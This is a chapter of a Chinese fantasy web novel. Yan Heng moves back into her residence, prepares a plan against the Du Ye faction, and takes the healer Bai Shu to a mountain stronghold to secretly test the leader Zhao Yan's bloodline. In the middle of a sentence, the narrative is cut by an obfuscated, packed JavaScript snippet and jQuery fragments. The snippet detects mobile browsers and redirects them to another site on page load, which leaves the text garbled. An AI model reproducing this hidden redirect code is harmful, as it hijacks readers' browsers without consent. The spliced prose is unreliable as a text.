47. 确认

作品:《凰临

    与言蘅见过面后,圆婼便收拾好行囊于次日踏上征途。


    寰相没有询问她的目标,只是与煦燊一起准备了她路上的用物。


    风雨来临前总是宁静祥和的。


    归弩和老七代言蘅去月荡山巡视。阿毒回了南陈。寰相和煦燊守着言府,圆婼则是离开了中州。


    如今言蘅身边没有一人,只剩她自己,像是回到了当初在血奴营里的日子。


    但如今已经比在血奴营里好多了,至少不用再挨打,被吸血。


    言蘅学着普通人的样子,吃饭睡觉打盹,完全忘记自己是谁,要做什么。


    纶城的一切都井然有序,甚至因为将近年末,百姓的脸上或多或少都带着喜悦的神色。


    附近的粮仓断断续续囤积着粮食,像是松鼠在为越冬做准备。


    成衣店的店主都已经熟悉言蘅了,这两日她总去店里挑衣服。


    店主心中疑惑,这姑娘看起来年纪不大,定然不是府中管事,待字闺中的模样,应也不是一府夫人,挑的衣服却男女老少的都有,不知是给谁准备。


    最欢喜的当是酒楼掌柜,日日盼着言蘅去品尝她家的酒,言蘅总在喝过美酒之后向她订上几十坛,说是为家中过年准备。她所付酒钱够掌柜一家过个好年了。


    不论是平头百姓或是王公贵胄,家家户户都在为新年准备。


    直到腊八这天,纶城终于下雪了。听客栈掌柜说,今年纶城的雪较往年来得更晚,倒是方便大家采办年货。


    下了雪,纶城从先前灰蒙蒙的模样成了银装素裹的洁白之城。护城河虽是流动的,但清晨与晚间,河面上已有了些许碎冰。


    言蘅退了房,准备从客栈搬回言府。


    临行前,她看向二楼那扇紧闭的房门,看样子,没办法和他好好告别了。


    言府门外,寰相与煦燊二人等待着言蘅回来。


    二人站在檐下,一高一矮,虽说有屋檐遮雪,但风有些大,将二人的黑袍吹得猛烈摆动,肩膀处也已积了一层薄雪。


    寰相眉目沉静,多数时候看不出喜怒哀乐,古井无波。只是丹凤眼配上略微遮瞳,让他本身就带上一层忧郁的气韵。


    而煦燊虽身披黑袍,颜色却更偏灰,他头戴红石抹额,与他殷红的碎发相配,一双美目眼尾微勾,既有桃花眼的灵动又消解了丹凤眼的锐利,似乎平静的外表下隐藏着狂意。


    二人明明什么话都没说,却偏偏让人觉得有种冰与火的感觉。


    寰相最先看到远处缓慢走来的言蘅。


    “小煦,让人准备热水和吃食。”


    煦燊这才看到言蘅已经在不远处,道了声好就赶忙转身往府里跑去。


    寰相下了台阶朝言蘅快步走去,顺势接过言蘅肩膀上背着的一个包袱,正想将手中的袍子递给她,却发现她来时已经披上大氅。


    “阿姐这件大氅,看起来材质非常好。”


    言蘅眉眼如月,轻声说:“是啊,他说这件大氅下雪时最保暖了。现今真的不冷了……”


    寰相没有接话,他从老七那听说了二人在南陈军营发生的事,猜测到她与那位南陈首领长恨或许有些说不清道不明的一些情感在。


    这件大氅的材质确像狼毛,若他记得不错,长恨的真身便是雪狼。


    言蘅和寰相回到府中,煦燊已经将热茶端上来放在桌上。几人没有客套,分别落座。


    “阿姐总算回来住了,那小破客栈有什么好住的。四姐五姐最会赚钱了,才建了这么好的言府,其实就是想让阿姐住在这里的。”煦燊脸颊有些婴儿肥,生气的时候脸颊鼓鼓的,看起来倒是很可爱。


    言蘅轻笑:“是个好地方。”


    “阿姐包袱里装了些什么,只是衣物的话其实也不必带着,之前圆婼都给安排好了。”寰相将包袱放在桌上,问言蘅。


    言蘅眉如远山,轻蹙时看不出苦恼或忧愁,只是让清冷的面庞更加如寒山未化雪,疏离而冷淡:“确实是衣物,可我不想扔。”


    寰相微微愣住。原先言蘅总对他们说舍弃就应当和获取一样,直截了当。现在却怎么又生出许多当断不断的情感来?


    他想起煦燊曾对他说觉得言蘅有些变化,他先前并未觉察出哪里不对,现下却明白了,言蘅不再像在血奴营里那般,冷漠……


    她从搏击场被营救出来时是没有带任何东西的,这些衣物想必是在南陈和来此的路上积攒。或许与长恨有关,又或许和归弩提到的秦启有关。


    不论是与谁,都夹杂着感情。


    言蘅在血奴营时就像个死物,没有任何感情,救他们或许也是觉得他们有用,逃出血奴营后,似乎从一个死人变得鲜活。


    是因为环境变化,还是其他的什么原因?


    “大哥?大哥!”


    寰相的思绪回归,惊闻煦燊大喊他,他看过去。


    “阿姐叫你呢。”煦燊指了指言蘅。


    “抱歉,阿姐。”寰相低着头,没想到自己竟然想得出神,连呼喊声都没听见。


    言蘅微微歪头,没说什么。


    “毒夜什么情况了?”她问。


    寰相正色回答:“他们已经发现言府,如今正在打探府内的情况,因并未见到阿姐,故而未出手。这几日都有人在府外监视。”


    言府在纶城也排得上号,肯定很快就会被毒夜发现,这是言蘅料定的。


    “事情准备好了吗?”


    寰相有些迟疑,看到言蘅望向他的眼神中带着探究,他不敢再犹豫:“好了阿姐。地点选定的是断崖。我之前与你提过。”


    “先前你让煦燊查山寨,已经有结果了。现在的领头确实是被原先的首领收养的。整个山寨的实力尚且能与官府一搏,但几次和官府搏斗能胜的原因还是在于首领的领导。”


    言蘅眉眼低垂,很快又重新看向寰相,双目之中带着前所未有的坚定。寰相明白,他无法再犹豫了,言蘅已然做了决定。


    “去将白恕带来,我得带他去一趟山寨。”


    寰相点头:“好。”


    寰相走后,只剩言蘅和煦燊待在大堂。


    言蘅看向煦燊,什么都没说,她清冷的面庞只有一双圆溜溜的眼睛让神情柔和一些,那眼波深处有层层叠叠的涟漪荡开,最底下沉着星子般细碎的光。


    煦燊心中一沉,肆意明媚的双眸一时沉寂,他明白了那眼神的含义。


    白恕路上听寰相说明了山寨的首领可能是言慕后,便明白言蘅找他的意图。所以在言蘅问他是否有办法查明山寨首领


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844595|187165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的身份时,他给出了肯定的答案。


    “族长放心,只要是香草一族生下的孩子,我都有秘法能探其血脉。”


    “好,那你随我走一遭吧。”


    言蘅没让寰相和煦燊跟着,只是让二人稍作遮掩,将跟踪的人挡在山脚下,却又给他们留了线索。


    言蘅被赵岩带下山,庄子里的人都见过,所以她带人再上山,也没人疑惑,派了两人护送她和白恕去山寨。


    路上耗费了许多时间,到山寨的时候已经是晚上。守在外围的是陈哥,见二人过来,派人通禀赵岩后得到肯定答复才放二人进寨。


    赵岩和包子正待在大堂喝着粘稠的红豆糊。看到言蘅带人来,他赶紧招呼二人一起吃。


    言蘅并未着急探求真相,坐下和赵岩一起吃夜宵。


    “这位是?”赵岩一边吃一边瞥着白恕,问言蘅。


    “纶城最好的医者,名为白恕。带来给大家看看身体。”言蘅动作未停,随意扯谎的本事极其娴熟。


    赵岩冷笑一声:“这话红豆糊都暖不起来,谁信?”


    包子连忙举手:“我信呀,老大。你看老先生还带着药箱呢,肯定是来帮我们看病的。虽然山上有梁叔,但桂花的病都拖了半个月了还没好,让老先生给看看吧。”


    赵岩一个巴掌打在包子后脑勺:“我真是,服了你了。”


    白恕赶忙赔笑:“首领若是疑我有他,不若我现下就可先帮二位诊脉,听姑娘的意思,山上是有医者的,且寻他来看看我的诊断可有错。”


    言蘅偷瞄了一眼白恕,没成想白恕还挺上道。


    “行。包子,去把梁叔叫来。”


    包子看着还没喝完的红豆糊有些不舍,见赵岩眉头蹙起,她赶忙端起碗,小跑着出了大堂。


    “首领,等那位梁先生来前,我先给你搭脉。”白恕将药箱打开,取出脉枕放在桌上。


    赵岩见对方已经开始了,也不好制止,只能把手放在脉枕上,脸却不看白恕,随意得很。


    言蘅缓慢喝着红豆糊,状似无意地看着白恕。


    常人或许看不见,但言蘅同为妖,只见白恕调动灵力,在搭脉的瞬间,一股白色术法窜入赵岩手腕。


    一盏茶的时间过去,包子带着一个络腮胡大叔进来大堂。二人坐在赵岩右侧,与白恕和言蘅面对面。


    言蘅忍俊不禁,她看到包子方才端着出去还剩一半红豆糊的碗里竟然又满了,大约是新盛了一碗。


    白恕将手从赵岩腕间拿开,缓缓开口:“首领脉象弦长有力,形神兼备,刚柔互济,如松生空谷,根深则叶茂;似泉涌地脉,源远而流长。”


    赵岩看向梁叔:“他什么意思?”


    梁叔向白恕微笑,似是为自己老大的行为感到羞耻,随后扭头倾身靠近赵岩:“说你好得很。”


    赵岩冷哼一声:“我才十来岁,天天练武,能不康健嘛。看他还有点本事,等会你领着帮大家都看看。”


    几人在大堂寒暄几句,梁叔便带着白恕去找包子说的那个得重病的女子。


    言蘅借□□待几句,将白恕带到旁边:“怎么样?”


    白恕虽面色未改,苍老的双目却如老树发芽,焕然一新。


    “族长已得偿所愿。”